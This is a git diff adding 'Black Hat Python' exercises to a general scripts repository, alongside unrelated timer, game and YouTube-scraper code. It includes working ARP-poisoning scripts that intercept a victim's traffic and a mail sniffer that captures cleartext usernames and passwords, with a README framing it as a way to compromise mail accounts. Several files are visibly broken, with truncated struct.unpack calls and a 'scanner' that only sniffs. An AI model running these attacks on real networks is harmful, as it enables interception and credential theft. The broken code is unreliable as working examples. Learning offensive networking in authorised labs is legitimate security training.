diff --git a/Black Hat Python/chapter_03/README.md b/Black Hat Python/chapter_03/README.md index c0db367..23bc05c 100644 --- a/Black Hat Python/chapter_03/README.md +++ b/Black Hat Python/chapter_03/README.md @@ -10,3 +10,35 @@ Open another terminal pick a host to ping. ping google.com ``` Then you should see some garbled output + +### sniffer_ip_header_decode.py + +```bash +sudo sniffer_ip_header_decode.py +``` +Open another terminal pick a host to ping. +```bash +ping google.com +``` +We would be able to see only the response and only for the ICMP protocol + +### sniffer_with_icmp.py + +```bash +sudo python3 sniffer_with_icmp.py +``` +Open another terminal pick a host to ping. +```bash +ping google.com +``` + +The output actually indicates that the ping (ICMP Echo) responses are being correctly received and decoded + +### scanner.py + +This code scans a specified subnet for active hosts by sending UDP datagrams and listening for ICMP "port unreachable" responses to identify which hosts are up. It prints the IP addresses of responsive hosts within the given subnet +```bash +sudo python3 scanner.py 192.168.1.0 + +# subnet to target: 192.168.1.0/24 +``` diff --git a/Black Hat Python/chapter_03/scanner.py b/Black Hat Python/chapter_03/scanner.py new file mode 100644 index 0000000..e86f7d4 --- /dev/null +++ b/Black Hat Python/chapter_03/scanner.py @@ -0,0 +1,149 @@ +import ipaddress +import os +import socket +import struct +import sys +import threading +import time + +# Function to get subnet input from user +def get_subnet(): + while True: + subnet = input("Enter the subnet to target (e.g., 192.168.1.0/24): ") + try: + # Validate the subnet input + ipaddress.ip_network(subnet) + return subnet + except ValueError: + print("Invalid subnet. Please try again.") + +# Magic string we'll check ICMP responses for +MESSAGE = 'PYTHONRULES!' + +# Class to handle IP headers +class IP: + def __init__(self, buff=None): + # Unpack the IP header fields from the buffer + header = struct.unpack('> 4 + self.ihl = header[0] & 0xF + self.tos = header[1] + self.len = header[2] + self.id = header[3] + self.offset = header[4] + self.ttl = header[5] + self.protocol_num = header[6] + self.sum = header[7] + self.src = header[8] + self.dst = header[9] + + # Convert binary IP addresses to human-readable format + self.src_address = ipaddress.ip_address(self.src) + self.dst_address = ipaddress.ip_address(self.dst) + + # Map protocol constants to their names + self.protocol_map = {1: "ICMP", 6: "TCP", 17: "UDP"} + try: + self.protocol = self.protocol_map[self.protocol_num] + except KeyError: + print('No protocol for %s' % self.protocol_num) + self.protocol = str(self.protocol_num) + +# Class to handle ICMP headers +class ICMP: + def __init__(self, buff): + # Unpack the ICMP header fields from the buffer + header = struct.unpack('> 4 + self.ihl = header[0] & 0xF + self.tos = header[1] + self.len = header[2] + self.id = header[3] + self.offset = header[4] + self.ttl = header[5] + self.protocol_num = header[6] + self.sum = header[7] + self.src = header[8] + self.dst = header[9] + + # human readable IP addresses + self.src_address = ipaddress.ip_address(self.src) + self.dst_address = ipaddress.ip_address(self.dst) + + # map protocol constants to their names + self.protocol_map = {1: "ICMP", 6: "TCP", 17: "UDP"} + try: + self.protocol = self.protocol_map[self.protocol_num] + except Exception as e: + print('%s No protocol for %s' % (e, self.protocol_num)) + self.protocol = str(self.protocol_num) + +def sniff(host): + # should look familiar from previous example + if os.name == 'nt': + socket_protocol = socket.IPPROTO_IP + else: + socket_protocol = socket.IPPROTO_ICMP + + sniffer = socket.socket(socket.AF_INET, socket.SOCK_RAW, socket_protocol) + sniffer.bind((host, 0)) + sniffer.setsockopt(socket.IPPROTO_IP, socket.IP_HDRINCL, 1) + + if os.name == 'nt': + sniffer.ioctl(socket.SIO_RCVALL, socket.RCVALL_ON) + + try: + while True: + # read a packet + raw_buffer = sniffer.recvfrom(65535)[0] + + # create an IP header from the first 20 bytes + ip_header = IP(raw_buffer[0:20]) + + # print the detected protocol and hosts + print('Protocol: %s %s -> %s' % (ip_header.protocol, ip_header.src_address, ip_header.dst_address)) + + except KeyboardInterrupt: + # if we're on Windows, turn off promiscuous mode + if os.name == 'nt': + sniffer.ioctl(socket.SIO_RCVALL, socket.RCVALL_OFF) + sys.exit() + +if __name__ == '__main__': + if len(sys.argv) == 2: + host = sys.argv[1] + else: + hostname = socket.gethostname() + host = socket.gethostbyname(hostname) + print("Using host:", host) + sniff(host) \ No newline at end of file diff --git a/Black Hat Python/chapter_03/sniffer_with_icmp.py b/Black Hat Python/chapter_03/sniffer_with_icmp.py new file mode 100644 index 0000000..514b403 --- /dev/null +++ b/Black Hat Python/chapter_03/sniffer_with_icmp.py @@ -0,0 +1,104 @@ +import ipaddress +import os +import socket +import struct +import sys + +# Define a class to represent the IP header of a packet +class IP: + def __init__(self, buff=None): + # Unpack the IP header fields from the buffer + header = struct.unpack('> 4 + self.ihl = header[0] & 0xF + self.tos = header[1] + self.len = header[2] + self.id = header[3] + self.offset = header[4] + self.ttl = header[5] + self.protocol_num = header[6] + self.sum = header[7] + self.src = header[8] + self.dst = header[9] + + # Convert source and destination IP addresses to human-readable format + self.src_address = ipaddress.ip_address(self.src) + self.dst_address = ipaddress.ip_address(self.dst) + + # Map protocol numbers to protocol names + self.protocol_map = {1: "ICMP", 6: "TCP", 17: "UDP"} + try: + self.protocol = self.protocol_map[self.protocol_num] + except Exception as e: + print('%s No protocol for %s' % (e, self.protocol_num)) + self.protocol = str(self.protocol_num) + +# Define a class to represent the ICMP header of a packet +class ICMP: + def __init__(self, buff): + # Unpack the ICMP header fields from the buffer + header = struct.unpack(' %s' % ( + ip_header.protocol, + ip_header.src_address, + ip_header.dst_address)) + print(f'Version: {ip_header.ver}') + print(f'Header Length: {ip_header.ihl} TTL: {ip_header.ttl}') + + # Calculate the starting point of the ICMP packet + offset = ip_header.ihl * 4 + buf = raw_buffer[offset:offset + 8] + + # Create an ICMP header from the buffer + icmp_header = ICMP(buf) + print('ICMP -> Type: %s Code: %s\n' % (icmp_header.type, icmp_header.code)) + except KeyboardInterrupt: + # If running on Windows, turn off promiscuous mode + if os.name == 'nt': + sniffer.ioctl(socket.SIO_RCVALL, socket.RCVALL_OFF) + sys.exit() + +if __name__ == '__main__': + # If a host is specified in command-line arguments, use it + if len(sys.argv) == 2: + host = sys.argv[1] + else: + # Otherwise, get the local machine's IP address + hostname = socket.gethostname() + host = socket.gethostbyname(hostname) + print("Using host:", host) + # Start sniffing packets on the specified host + sniff(host) \ No newline at end of file diff --git a/Black Hat Python/chapter_04/README.md b/Black Hat Python/chapter_04/README.md new file mode 100644 index 0000000..b302f84 --- /dev/null +++ b/Black Hat Python/chapter_04/README.md @@ -0,0 +1,22 @@ +### mail_sniffer.py + +- Install scapy package +```python +sudo pip3 install scapy +``` +- A simple sniffer +``` +sudo python3 mail_sniffer.py +``` + +### mail_sniffer_using_BPF_syntax.py +- If you are on a network where you know you're already on their internal network and you want to compromise some mail server accounts then you could do that by sniffing the network by running the below command +``` +sudo python3 mail_sniffer_using_BPF_syntax.py +``` + +### arper.py +``` +python3 arper_1.py +python3 arper_2.py +``` \ No newline at end of file diff --git a/Black Hat Python/chapter_04/arper_1.py b/Black Hat Python/chapter_04/arper_1.py new file mode 100644 index 0000000..e6aa4b3 --- /dev/null +++ b/Black Hat Python/chapter_04/arper_1.py @@ -0,0 +1,105 @@ +from multiprocessing import Process +from scapy.all import ARP, Ether, conf, get_if_hwaddr, send, sniff, srp, wrpcap +import os +import sys +import time + +# Function to get the MAC address of a target IP +def get_mac(target_ip): + packet = Ether(dst='ff:ff:ff:ff:ff:ff') / ARP(op="who-has", pdst=target_ip) + resp, _ = srp(packet, timeout=2, retry=10, verbose=False) + for _, r in resp: + return r[Ether].src + return None + +# Class to perform ARP poisoning +class Arper: + def __init__(self, victim, gateway, interface='en0'): + self.victim = victim + self.victim_mac = get_mac(victim) + self.gateway = gateway + self.gateway_mac = get_mac(gateway) + self.interface = interface + conf.iface = interface + conf.verb = 0 + print(f'Initialized {interface}:') + print(f'Gateway ({gateway}) is at {self.gateway_mac}.') + print(f'Victim ({victim}) is at {self.victim_mac}.') + print('-' * 30) + + # Run the ARP poisoning and sniffing processes + def run(self): + self.poison_thread = Process(target=self.poison) + self.poison_thread.start() + self.sniff_thread = Process(target=self.sniff) + self.sniff_thread.start() + + # Function to perform ARP poisoning + def poison(self): + # Poison the victim + poison_victim = ARP() + poison_victim.op = 2 + poison_victim.psrc = self.gateway + poison_victim.pdst = self.victim + poison_victim.hwdst = self.victim_mac + print(f'IP src: {poison_victim.psrc}') + print(f'IP dst: {poison_victim.pdst}') + print(f'MAC dst: {poison_victim.hwdst}') + print(f'MAC src: {poison_victim.hwsrc}') + print(poison_victim.summary()) + print('-' * 30) + + # Poison the gateway + poison_gateway = ARP() + poison_gateway.op = 2 + poison_gateway.psrc = self.victim + poison_gateway.pdst = self.gateway + poison_gateway.hwdst = self.gateway_mac + print(f'IP src: {poison_gateway.psrc}') + print(f'IP dst: {poison_gateway.pdst}') + print(f'MAC dst: {poison_gateway.hwdst}') + print(f'MAC src: {poison_gateway.hwsrc}') + print(poison_gateway.summary()) + print('-' * 30) + print('Beginning the ARP poison. [CTRL-C to stop]') + + # Continuously send ARP poison packets + try: + while True: + sys.stdout.write('.') + sys.stdout.flush() + send(poison_victim) + send(poison_gateway) + time.sleep(2) + except KeyboardInterrupt: + self.restore() + sys.exit() + + # Function to sniff packets + def sniff(self, count=100): + time.sleep(5) + print(f'Sniffing {count} packets') + bpf_filter = f"ip host {self.victim}" + packets = sniff(count=count, filter=bpf_filter, iface=self.interface) + wrpcap('arper.pcap', packets) + print('Got the packets') + self.restore() + self.poison_thread.terminate() + print('Finished.') + + # Function to restore the ARP tables + def restore(self): + print('Restoring ARP tables...') + send(ARP(op=2, psrc=self.gateway, hwsrc=self.gateway_mac, pdst=self.victim, hwdst='ff:ff:ff:ff:ff:ff'), count=5) + send(ARP(op=2, psrc=self.victim, hwsrc=self.victim_mac, pdst=self.gateway, hwdst='ff:ff:ff:ff:ff:ff'), count=5) + +# Main function to start the ARP poisoning +if __name__ == '__main__': + if len(sys.argv) == 4: + victim, gateway, interface = sys.argv[1], sys.argv[2], sys.argv[3] + else: + print("Usage: python3 arper.py ") + sys.exit(1) + + arper = Arper(victim, gateway, interface) + arper.run() \ No newline at end of file diff --git a/Black Hat Python/chapter_04/arper_2.py b/Black Hat Python/chapter_04/arper_2.py new file mode 100644 index 0000000..843a155 --- /dev/null +++ b/Black Hat Python/chapter_04/arper_2.py @@ -0,0 +1,95 @@ +import kamene.all as kam +import sys +import threading +import time + +def restore_target(gateway_ip, gateway_mac, target_ip, target_mac): + print("[*] Restoring target...") + kam.send(kam.ARP(op=2, psrc=gateway_ip, pdst=target_ip, hwdst="ff:ff:ff:ff:ff:ff", hwsrc=gateway_mac), count=5) + kam.send(kam.ARP(op=2, psrc=target_ip, pdst=gateway_ip, hwdst="ff:ff:ff:ff:ff:ff", hwsrc=target_mac), count=5) + +def get_mac(ip_address): + responses, unanswered = kam.srp(kam.Ether(dst="ff:ff:ff:ff:ff:ff") / kam.ARP(pdst=ip_address), timeout=2, retry=10) + for s, r in responses: + return r[kam.Ether].src + return None + +def poison_target(gateway_ip, gateway_mac, target_ip, target_mac): + global poisoning + + poison_tgt = kam.ARP() + poison_tgt.op = 2 + poison_tgt.psrc = gateway_ip + poison_tgt.pdst = target_ip + poison_tgt.hwdst = target_mac + + poison_gateway = kam.ARP() + poison_gateway.op = 2 + poison_gateway.psrc = target_ip + poison_gateway.pdst = gateway_ip + poison_gateway.hwdst = gateway_mac + + print("[*] Beginning the ARP poison. [CTRL-C to stop]") + + while poisoning: + kam.send(poison_tgt) + kam.send(poison_gateway) + time.sleep(2) + + print("[*] ARP poison attack finished") + return + +if __name__ == "__main__": + if len(sys.argv) != 4: + print(f"Usage: {sys.argv[0]} ") + sys.exit(1) + + tgt_ip = sys.argv[1] + tgt_gateway = sys.argv[2] + interface = sys.argv[3] + packet_count = 500 + poisoning = True + + # set out our interface + kam.conf.iface = interface + + # turn off output + kam.conf.verb = 0 + + print(f"[*] Setting up {interface}") + + tgt_gateway_mac = get_mac(tgt_gateway) + + if tgt_gateway_mac is None: + print("[!!!] Failed to get gateway MAC. Exiting.") + sys.exit(0) + else: + print(f"[*] Gateway {tgt_gateway} is at {tgt_gateway_mac}") + + tgt_mac = get_mac(tgt_ip) + + if tgt_mac is None: + print("[!!!] Failed to get target MAC. Exiting.") + sys.exit(0) + else: + print(f"[*] Target {tgt_ip} is at {tgt_mac}") + + # start poison thread + poison_thread = threading.Thread(target=poison_target, args=(tgt_gateway, tgt_gateway_mac, tgt_ip, tgt_mac)) + poison_thread.start() + + try: + print(f"[*] Starting sniffer for {packet_count} packets") + bpf_filter = f"ip host {tgt_ip}" + packets = kam.sniff(count=packet_count, filter=bpf_filter, iface=interface) + print(f"[*] Writing packets to arper.pcap") + kam.wrpcap("arper.pcap", packets) + except KeyboardInterrupt: + pass + finally: + poisoning = False + time.sleep(2) + # restore the network + restore_target(tgt_gateway, tgt_gateway_mac, tgt_ip, tgt_mac) + + sys.exit() \ No newline at end of file diff --git a/Black Hat Python/chapter_04/mail_sniffer.py b/Black Hat Python/chapter_04/mail_sniffer.py new file mode 100644 index 0000000..4df1179 --- /dev/null +++ b/Black Hat Python/chapter_04/mail_sniffer.py @@ -0,0 +1,13 @@ +from scapy.all import sniff + +# Callback function that is called for each packet sniffed +def packet_callback(packet): + # Display the packet details + packet.show() + +def main(): + # Sniff one packet and call packet_callback for each packet sniffed + sniff(prn=packet_callback, count=1) + +if __name__ == '__main__': + main() \ No newline at end of file diff --git a/Black Hat Python/chapter_04/mail_sniffer_using_BPF_syntax.py b/Black Hat Python/chapter_04/mail_sniffer_using_BPF_syntax.py new file mode 100644 index 0000000..c32a051 --- /dev/null +++ b/Black Hat Python/chapter_04/mail_sniffer_using_BPF_syntax.py @@ -0,0 +1,20 @@ +from scapy.all import sniff, TCP, IP + +# The packet callback function +def packet_callback(packet): + # Check if the packet has a TCP payload + if packet.haslayer(TCP) and packet[TCP].payload: + # Convert the payload to a string + mypacket = str(packet[TCP].payload) + # Check for the presence of 'user' or 'pass' in the payload + if 'user' in mypacket.lower() or 'pass' in mypacket.lower(): + # Print the destination IP and the payload + print(f"[*] Destination: {packet[IP].dst}") + print(f"[*] {str(packet[TCP].payload)}") + +def main(): + # Start sniffing for packets + sniff(filter='tcp port 110 or tcp port 25 or tcp port 143', prn=packet_callback, store=0) + +if __name__ == '__main__': + main() \ No newline at end of file diff --git a/Pomodoro Timer/pomodoro.py b/Pomodoro Timer/pomodoro.py new file mode 100644 index 0000000..daaa971 --- /dev/null +++ b/Pomodoro Timer/pomodoro.py @@ -0,0 +1,15 @@ +import time + +def countdown(minutes): + seconds = minutes * 60 + while seconds: + mins, secs = divmod(seconds, 60) + timer = f'{mins:02d}:{secs:02d}' + print(timer, end='\r') + time.sleep(1) + seconds -= 1 + print('Time is up!') + +# Example usage: +countdown(1) # for a 25-minute work session +countdown(1) # for a 5-minute break diff --git a/Python-Scripts b/Python-Scripts new file mode 160000 index 0000000..3ad8293 --- /dev/null +++ b/Python-Scripts @@ -0,0 +1 @@ +Subproject commit 3ad8293b0b314dfc0724b03d772dcef31e48cf15 diff --git a/README.md b/README.md index 0aa9b5b..a83d6da 100644 --- a/README.md +++ b/README.md @@ -93,7 +93,8 @@ More information on contributing and the general code of conduct for discussion | QR Code Generator | [QR Code Generator](https://github.com/DhanushNehru/Python-Scripts/tree/master/QR%20Code%20Generator) | This is generate a QR code from the provided link | | Random Color Generator | [Random Color Generator](https://github.com/DhanushNehru/Python-Scripts/tree/master/Random%20Color%20Generator) | A random color generator that will show you the color and values! | | Remove Background | [Remove Background](https://github.com/DhanushNehru/Python-Scripts/tree/master/Remove%20Background) | Removes the background of images. | -| ROCK-PAPER-SCISSOR | [ROCK-PAPER-SCISSOR](https://github.com/DhanushNehru/Python-Scripts/tree/master/Rock%20Paper%20Scissor) | A game of Rock Paper Scissors. | +| ROCK-PAPER-SCISSOR | [ROCK-PAPER-SCISSOR](https://github.com/DhanushNehru/Python-Scripts/tree/master/Rock%20Paper%20Scissor) | A game of Rock Paper Scissors. +| Rock Paper Scissors -New | [Rock Paper Scissors -New](https://github.com/bbob122/Python-Scripts/tree/new_features/Rock%20Paper%20Scissors%20-New) | Updated Rock Paper Scissors with new feature. | | Run Then Notify | [Run Then Notify](https://github.com/DhanushNehru/Python-Scripts/tree/master/Run%20Then%20Notify) | Runs a slow command and emails you when it completes execution. | | Selfie with Python | [Selfie_with_Python](https://github.com/DhanushNehru/Python-Scripts/tree/master/Selfie%20with%20Python) | Take your selfie with python . | | Simple TCP Chat Server | [Simple TCP Chat Server](https://github.com/DhanushNehru/Python-Scripts/tree/master/TCP%20Chat%20Server) | Creates a local server on your LAN for receiving and sending messages! | @@ -122,6 +123,7 @@ More information on contributing and the general code of conduct for discussion | Word to PDF | [Word to PDF](https://github.com/DhanushNehru/Python-Scripts/tree/master/Word%20to%20PDF%20converter) | A Python script to convert an MS Word file to a PDF file. | | Youtube Downloader | [Youtube Downloader](https://github.com/DhanushNehru/Python-Scripts/tree/master/Youtube%20Downloader) | Downloads any video from [YouTube](https://youtube.com) in video or audio format! | Pigeonhole Sort | [Algorithm](https://github.com/DhanushNehru/Python-Scripts/tree/master/PigeonHole) | the pigeonhole sort algorithm to sort your arrays efficiently! +| Youtube Playlist Info Scraper | [Youtube Playlist Info Scraper](https://github.com/DhanushNehru/Python-Scripts/tree/master/Youtube%20Playlist%20Info%20Scraper) | This python module retrieve information about a YouTube playlist in json format using playlist link. ## Gitpod diff --git a/Rock Paper Scissors - New Version b/Rock Paper Scissors - New Version new file mode 100644 index 0000000..b7b3f03 --- /dev/null +++ b/Rock Paper Scissors - New Version @@ -0,0 +1,50 @@ +import random + +def get_user_choice(): + choices = ["rock", "paper", "scissors", "lizard", "spock"] + user_choice = input("Enter your choice (rock, paper, scissors, lizard, spock): ").lower() + while user_choice not in choices: + user_choice = input("Invalid choice. Please enter rock, paper, scissors, lizard, or spock: ").lower() + return user_choice + +def get_computer_choice(): + choices = ["rock", "paper", "scissors", "lizard", "spock"] + return random.choice(choices) + +def determine_winner(user_choice, computer_choice): + win_conditions = { + "scissors": ["paper", "lizard"], + "paper": ["rock", "spock"], + "rock": ["lizard", "scissors"], + "lizard": ["spock", "paper"], + "spock": ["scissors", "rock"] + } + + if user_choice == computer_choice: + return "tie" + elif computer_choice in win_conditions[user_choice]: + return "user" + else: + return "computer" + +def play_game(): + print("Welcome to Rock, Paper, Scissors, Lizard, Spock!") + + user_choice = get_user_choice() + computer_choice = get_computer_choice() + + print(f"You chose: {user_choice}") + print(f"Computer chose: {computer_choice}") + + winner = determine_winner(user_choice, computer_choice) + + if winner == "tie": + print("It's a tie! Let's play again.") + play_game() + elif winner == "user": + print("You win!") + else: + print("Computer wins!") + +if __name__ == "__main__": + play_game() diff --git a/Rock Paper Scissors -New/README.md b/Rock Paper Scissors -New/README.md new file mode 100644 index 0000000..7dce087 --- /dev/null +++ b/Rock Paper Scissors -New/README.md @@ -0,0 +1,30 @@ +# Rock, Paper, Scissors, Lizard, Spock Game + +This is a Python implementation of the classic Rock, Paper, Scissors game extended with two additional options: Lizard and Spock. + +## Rules + +- **Scissors** cuts **Paper** +- **Paper** covers **Rock** +- **Rock** crushes **Lizard** +- **Lizard** poisons **Spock** +- **Spock** smashes **Scissors** +- **Scissors** decapitates **Lizard** +- **Lizard** eats **Paper** +- **Paper** disproves **Spock** +- **Spock** vaporizes **Rock** +- **Rock** crushes **Scissors** + +## How to Play + +1. **Setup:** Run the Python script `rps.py`. +2. **Gameplay:** + - Enter the number of rounds you want to play. + - For each round, enter your choice: rock, paper, scissors, lizard, or spock. + - The computer will randomly select its choice. + - The winner of each round is determined based on the rules above. + - Scores (user wins, computer wins, and ties) are displayed after each round. +3. **End of Game:** + - After completing all rounds, final scores are displayed. + - You have the option to play again or exit. + diff --git a/Rock Paper Scissors -New/rps.py b/Rock Paper Scissors -New/rps.py new file mode 100644 index 0000000..1a488b1 --- /dev/null +++ b/Rock Paper Scissors -New/rps.py @@ -0,0 +1,90 @@ +import random + +choices = ["rock", "paper", "scissors", "lizard", "spock"] + +def get_user_choice(): + user_choice = input("Enter your choice (rock, paper, scissors, lizard, spock): ").lower() + while user_choice not in choices: + user_choice = input("Invalid choice. Please enter rock, paper, scissors, lizard, or spock: ").lower() + return user_choice + + +def get_computer_choice(): + return random.choice(choices) + + +def determine_winner(user_choice, computer_choice): + win_conditions = { + "scissors": ["paper", "lizard"], + "paper": ["rock", "spock"], + "rock": ["lizard", "scissors"], + "lizard": ["spock", "paper"], + "spock": ["scissors", "rock"] + } + + if user_choice == computer_choice: + return "tie" + elif computer_choice in win_conditions[user_choice]: + return "user" + else: + return "computer" + + +def play_game(): + print("Welcome to Rock, Paper, Scissors, Lizard, Spock!") + + while True: + while True: + try: + num_rounds = int(input("Enter the number of rounds you want to play: ")) + if num_rounds <= 0: + print("Please enter a positive number.") + continue + break + except ValueError: + print("Invalid input. Please enter a number.") + + user_score = 0 + computer_score = 0 + ties = 0 + + for round_number in range(1, num_rounds + 1): + print(f"\nRound {round_number}/{num_rounds}") + + user_choice = get_user_choice() + computer_choice = get_computer_choice() + + print(f"\nYou chose: {user_choice}") + print(f"Computer chose: {computer_choice}") + + winner = determine_winner(user_choice, computer_choice) + + if winner == "tie": + print("It's a tie!") + ties += 1 + elif winner == "user": + print("You win!") + user_score += 1 + else: + print("Computer wins!") + computer_score += 1 + + print(f"\nScores:\nUser: {user_score}\nComputer: {computer_score}\nTies: {ties}") + + print("\nFinal Scores:") + print(f"User: {user_score}") + print(f"Computer: {computer_score}") + print(f"Ties: {ties}") + + while True: + play_again = input("\nDo you want to play again? (y/n): ").lower() + if play_again in ["y", "n"]: + break + print("Invalid input. Please enter 'y' or 'n'.") + + if play_again != "y": + print("Thanks for playing!") + break + +if __name__ == "__main__": + play_game() diff --git a/Youtube Playlist Info Scraper/Playlist.py b/Youtube Playlist Info Scraper/Playlist.py new file mode 100644 index 0000000..163e939 --- /dev/null +++ b/Youtube Playlist Info Scraper/Playlist.py @@ -0,0 +1,160 @@ +""" +This module provides functionalities for YouTube Playlist. +""" + +import requests +from bs4 import BeautifulSoup +import json + +class Playlist: + + """ + This class provides methods to perform operatoins for given YouTube Playlist. + """ + + def __init__(self, playlist_link): + + """ + Initializes the playlist with a playlist link. + + Parameters: + playlist_link (str): Url of YouTube Playlist + """ + + self.playlist_link = playlist_link + + def info(self): + + """ + Returns: + dict: Information about given Playlist. + """ + + info = {} + + try: + + headers = {"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/125.0.6422.112 Safari/537.36"} + + response = requests.get(url=self.playlist_link, headers=headers) + + soup = BeautifulSoup(response.text, 'html.parser') + + script_elements = soup.find_all('script') + + for e in script_elements: + + if e.text.startswith("var ytInitialData"): + + data_dict = json.loads(e.text[20:-1]) + + playlist = data_dict["contents"]["twoColumnWatchNextResults"]["playlist"]["playlist"] + + if "title" in playlist: + info["title"] = playlist["title"] + else: + info["title"] = "" + + if "totalVideos" in playlist: + info["totalVideos"] = playlist["totalVideos"] + else: + info["totalVideos"] = "" + + if "ownerName" in playlist: + info["channelName"] = playlist["ownerName"]["simpleText"] + else: + info["channelName"] = "" + + if "playlistShareUrl" in playlist: + info["playlistUrl"] = playlist["playlistShareUrl"] + else: + info["playlistUrl"] = "" + + if "contents" in playlist: + + playlist_videos = playlist["contents"] + + info["videos"] = [] + + for video in playlist_videos: + + video_data = {} + + video = video["playlistPanelVideoRenderer"] + + if "title" in video: + video_data["title"] = video["title"]["simpleText"] + else: + video_data["title"] = "" + + if "lengthText" in video: + video_data["duration"] = video["lengthText"]["simpleText"] + else: + video_data["duration"] = "" + + if "videoId" in video: + video_data["id"] = video["videoId"] + else: + video_data["id"] = "" + + info["videos"].append(video_data) # Update info with video + + info["duration"] = self.__calculatePlaylistDuration(info["videos"]) + + break # Target Element Found; Break loop + + except Exception as e: + print("Error in info():", e) + + return info + + def __calculatePlaylistDuration(self, videos_data): + + """ + Calculate total playlist duration by aggregating the duration of all videos present in playlist. + + Parameters: + list: List of videos' data + + Returns: + str: Total duration of Playlist Videos in format -> HH:MM:SS + """ + + total_duration = "00:00:00" + + try: + + hours, minutes, seconds = 0,0,0 + + for video in videos_data: + + video_duration = video["duration"] + + video_duration_parts = video_duration.split(":") + + if len(video_duration_parts) == 3: + hours += int(video_duration_parts[0]) + minutes += int(video_duration_parts[1]) + seconds += int(video_duration_parts[2]) + + if len(video_duration_parts) == 2: + minutes += int(video_duration_parts[0]) + seconds += int(video_duration_parts[1]) + + if len(video_duration_parts) == 1: + seconds += int(video_duration_parts[0]) + + hours += minutes // 60 + + minutes = minutes % 60 + + minutes += seconds // 60 + + seconds = seconds % 60 + + total_duration = f"{hours}:{minutes}:{seconds}" + + except Exception as e: + print("Error in __calculatePlaylistDuration():", e) + + return total_duration \ No newline at end of file diff --git a/Youtube Playlist Info Scraper/README.md b/Youtube Playlist Info Scraper/README.md new file mode 100644 index 0000000..63ae6a7 --- /dev/null +++ b/Youtube Playlist Info Scraper/README.md @@ -0,0 +1,45 @@ +## YouTube Playlist Info Scraper + +This python module retrieve information about a YouTube playlist in json format using playlist link. + +### Usage: + +Install dependencies: + + pip install -r requirements.txt + +Import module: + + from Playlist import Playlist + +Create Object: + + playlist = Playlist("PLAYLIST_LINK_HERE") # Example: https://www.youtube.com/watch?v=_t2GVaQasRY&list=PLeo1K3hjS3uu_n_a__MI_KktGTLYopZ12 + +Retrieve Playlist Info: + + info = playlist.info() + print(info) + +### Output Format: + +``` + { + "title": ..., + "totalVideos": ..., + "channelName": ..., + "playlistUrl": ..., + "duration": ..., + "videos": [ + { + "title": ..., + "duration": ..., + "id": ... + } + , + . + . + . + ], + } +``` diff --git a/Youtube Playlist Info Scraper/requirements.txt b/Youtube Playlist Info Scraper/requirements.txt new file mode 100644 index 0000000..1f311f5 --- /dev/null +++ b/Youtube Playlist Info Scraper/requirements.txt @@ -0,0 +1,2 @@ +requests +bs4 \ No newline at end of file